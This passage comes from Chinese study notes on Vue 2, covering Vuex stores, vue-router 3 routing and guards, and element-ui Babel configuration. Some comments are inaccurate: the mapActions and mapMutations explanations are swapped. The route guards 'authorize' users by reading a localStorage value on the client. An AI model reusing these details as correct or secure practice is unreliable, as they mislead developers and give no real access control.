    // state: state

    // 简写方式
    actions,
    mutations,
    state
})

24.4.3 传入配置项store

在main.js中创建vm时传入store配置项

import Vue from 'vue'
import App from './App.vue'
// 引入store
import store from './store' //默认执行文件夹下的index.js

new Vue({
    el: '#app',
    render: h => h(App),
    store,
    beforeCreate() {
        Vue.prototype.$bus = this
    },
})

24.5 基本使用

24.5.1 初始化数据

配置actions、配置mutations、操作文件store.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)

const actions = {
    //响应组件中加的动作
	jia(context,value){
		// console.log('actions中的jia被调用了',context,value)
		context.commit('JIA',value)
	},
}

const mutations = {
    //执行加
	JIA(state,value){
		// console.log('mutations中的JIA被调用了',state,value)
		state.sum += value
	}
}

//初始化数据
const state = {
   sum:0
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

24.5.2 组件中读取vuex中的数据

当组件要读取存入vuex中的数据时,执行:this.$store.state.xxx

24.5.3 组件中修改vuex中的数据

当组件要修改存在vuex中的数据时,执行:this.$store.dispatch('actions中的方法名',数据)this.$store.commit('mutions中的方法名',数据)

备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

24.6 getters的使用

24.6.1 概念

当state中的数据需要经过加工后再使用时,可以使用getters加工(类似computed)。

24.6.2 配置

在src/store/index.js中追加getters配置

......
const getters = {
	bigSum(state){
		return state.sum * 10
	}
}

//创建并暴露store
export default new Vuex.Store({
	......
	getters
})

24.6.3 组件中读取数据

当组件要读取数据时,执行:this.$store.getters.xxx

24.7 四个map方法

在组件中引入: import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'

24.7.1 mapState

 用于帮助我们映射 state 中的数据为计算属性。

computed: {
    // 借助mapState生成计算属性,从state中读取属性(对象写法)
     ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    // 借助mapState生成计算属性,从state中读取属性(数组写法)
    ...mapState(['sum','school','subject']),
},

24.7.2 mapGetters

用于帮助我们映射 getters 中的数据为计算属性。

computed: {
    // 借助mapGetters生成计算属性,从getters中读取属性(对象写法)
    ...mapGetters({bigSum:'bigSum'}),

    // 借助mapGetters生成计算属性,从getters中读取属性(数组写法)
    ...mapGetters(['bigSum'])
},

24.7.3 mapActions

 用于帮助我们生成与 actions 对话的方法,即:包含 $store.dispatch(xxx) 的函数。

methods:{
    // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法)
    ...mapActions(['jiaOdd','jiaWait'])
}

24.7.4 mapMutations

  用于帮助我们生成与 mutations 对话的方法,即:包含 $store.commit(xxx) 的函数。

methods:{
    // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法)
    ...mapMutations(['JIA','JIAN']),
}

注意:对象写法在赋值时一定要加引号!!!mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

24.8 模块化+命名空间

目的:让代码更好维护,让多种数据分类更加明确。

24.8.1 初始化数据

在src/store/index.js中

const countAbout = {
  namespaced:true,//开启命名空间
  state:{sum:0},
  mutations: { ... },
  actions: { ... },
  getters: {
    bigSum(state){
       return state.sum * 10
    }
  }
}

const personAbout = {
  namespaced:true,//开启命名空间
  state:{ ... },
  mutations: { ... },
  actions: { ... }
}

export default new Vuex.Store({
  modules: {
    // countAbout: countAbout,
    // personAbout: personAbout,

    // 简写方式
    countAbout,
    personAbout,
  }
})

24.8.2 读取state数据

开启命名空间后,组件中读取state数据

// 方式一:自己直接读取
this.$store.state.personAbout.personList

// 方式二:借助mapState读取
...mapState('countAbout', ['sum','school','subject'])

24.8.3 读取getters数据

开启命名空间后,组件中读取getters数据

// 方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']

// 方式二:借助mapGetters读取
...mapGetters('countAbout', ['bigSum'])

24.8.4 调用dispatch

开启命名空间后,组件中调用dispatch

// 方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',personObj)

// 方式二:借助mapActions
...mapActions('countAbout', {incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

24.8.5 调用commit

开启命名空间后,组件中调用commit

// 方式一:自己直接commit
this.$store.commit('personAbout/ADD_PERSON',personObj)

// 方式二:借助mapMutations
...mapMutations('countAbout', {increment:'JIA',decrement:'JIAN'})

二十五、路由Vue-router

 1、理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。

2、前端路由:key是路径,value是组件。

3、路由分类

  • 后端路由

        ①理解:value是function,用于处理客户端提交的请求。

        ②工作过程:服务器收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据。

  • 前端路由

        ①理解:value是component,用于展示页面内容。

        ②工作过程:当浏览器的路径改变时,对应的组件就会显示。

25.1 基本使用

25.1.1 安装vue-router

npm i vue-router@3

 注意:vue2中要用vue-router的3版本;vue3中要用vue-router的4版本,如果直接执行npm i vue-router会自动安装vue-router的4版本。

25.1.2 应用插件

 Vue.use(VueRouter)

25.1.3 编写router配置项

 创建文件:src/router/index.js

//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

//暴露router
export default router

25.1.4 实现切换(active-class可配置高亮样式)

<router-link active-class="active" to="/about">About</router-link>

 25.1.5 指定展示位置

<router-view></router-view>

25.2 几个注意点

1、路由组件通常存放在 pages 文件夹,一般组件通常存放在 components 文件夹。

2、通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。

3、每个组件都有自己的 $route 属性,里面存储着自己的路由信息。

4、整个应用只有一个 router,可以通过组件的 $router 属性获取到。

25.3 嵌套路由(多级路由)

25.3.1 配置路由规则

使用 children 配置项,在src/router/index.js中写:

routes:[
	{
		path:'/about',
		component:About,
	},
	{
		path:'/home',
		component:Home,
		children:[ //通过children配置子级路由
			{
				path:'news', //此处一定不要写:/news
				component:News
			},
			{
				path:'message',//此处一定不要写:/message
				component:Message
			}
		]
	}
]

25.3.2 跳转

在相应的父组件中实现切换与展示

<router-link to="/home/news">News</router-link>

注意:要写完整路径!!!

25.4 路由的query传参 

25.4.1 传递参数 

<!-- 跳转路由并携带query参数,to的字符串写法 -->
<router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>

<!-- 跳转路由并携带query参数,to的对象写法 -->
<router-link :to="{
    path: '/home/message/detail',
    query: {
        id: m.id,
        title: m.title
    }
}">
    {{m.title}}
</router-link>

25.4.2 接收参数

$route.query.xxx

25.5 命名路由

作用:简化路由的跳转。

25.5.1 给路由命名

{
	path: '/demo',
	component: Demo,
	children: [
		{
			path: 'test',
			component: Test,
			children: [
				{
                    name: 'hello', //给路由命名
					path: 'welcome',
					component: Hello,
				}
			]
		}
	]
}

25.5.2 简化跳转

<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

25.6 路由的params参数

25.6.1 配置路由

配置路由,声明接收params参数:

{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}

25.6.2 传递参数

<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id: m.id,
           title: m.title
		}
	}"
>{{m.title}}</router-link>

注意: 路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!!!

25.6.3 接收参数

$route.params.xxx

25.7 路由的props配置

作用:让路由组件更方便的收到参数。

{
	name:'xiangqing',
	path:'detail/:id/:title',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props($route){
		return {
			id: $route.query.id,
			title: $route.query.title
		}
	}
}

25.8 <router-link>的replace属性

1、作用:控制路由跳转时操作浏览器历史记录的模式。

2、浏览器的历史记录的两种写入方式:

  • push:追加历史记录。
  • replace:替换当前记录。

路由跳转时默认为push。

3、开启replace模式

<router-link replace to="xxx">YYY</router-link>

25.9 编程式路由导航

作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活。

//$router的两个API
this.$router.push({  //一般栈结构, 
	name:'xiangqing',
	params:{
	    id:xxx,
        title:xxx
	}
})
this.$router.replace({ //栈结构, 但新的数据,会替换旧的
	name:'xiangqing',
	params:{
	    id:xxx,
        title:xxx
	}
})
this.$router.forward() //前进
this.$router.back() //后退
this.$router.go() //可前进也可后退, 通过传递参数,来控制前进与后退的跳转页数

25.10 缓存路由组件

作用:让不展示的路由组件保持挂载,不被销毁

<!-- 缓存单个路由组件 -->
<keep-alive include="News">
    <!-- include: 添加保持挂载的范围(News),值为'组件名',写成数组形式,可添加多个范围 -->
    <router-view></router-view>
</keep-alive>

<!-- 缓存多个路由组件 -->
<keep-alive :include="['News', 'Message']">
    <router-view></router-view>
</keep-alive>

25.11 两个新的生命周期钩子

作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。

  • activated:路由组件被激活时触发。
  • deactivated:路由组件失活时触发。

25.12 路由守卫

1、作用:对路由进行权限控制。

2、分类:全局守卫、独享守卫、组件内守卫。

25.12.1 全局守卫

//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})

后置路由守卫可以用来修改网页的标题。

25.12.2 独享守卫

beforeEnter: (to,from,next) => {
    if(to.meta.isAuth) { // 判断是否需要鉴权
        if(localStorage.getItem('school') === 'UESTC') {
            next()
        } else {
            alert('学校名不对,无权限查看!')
        }
    } else {
        next()
    }
}

25.12.3 组件内守卫

//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}

二十六、element-ui

参考网站:组件 | Element

 在进行局部引入时,官网给出的代码为:

 应该在babel.config,js中写以下代码:

{
  "presets": [
      '@vue/cli-plugin-babel/preset',
      ["@babel/preset-env", { "modules": false }]
  ],
  "plugins": [
    [
      "component",
      {
        "libraryName": "element-ui",
        "styleLibraryName": "theme-chalk"
      }
    ]
  ]
}

  • 30
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值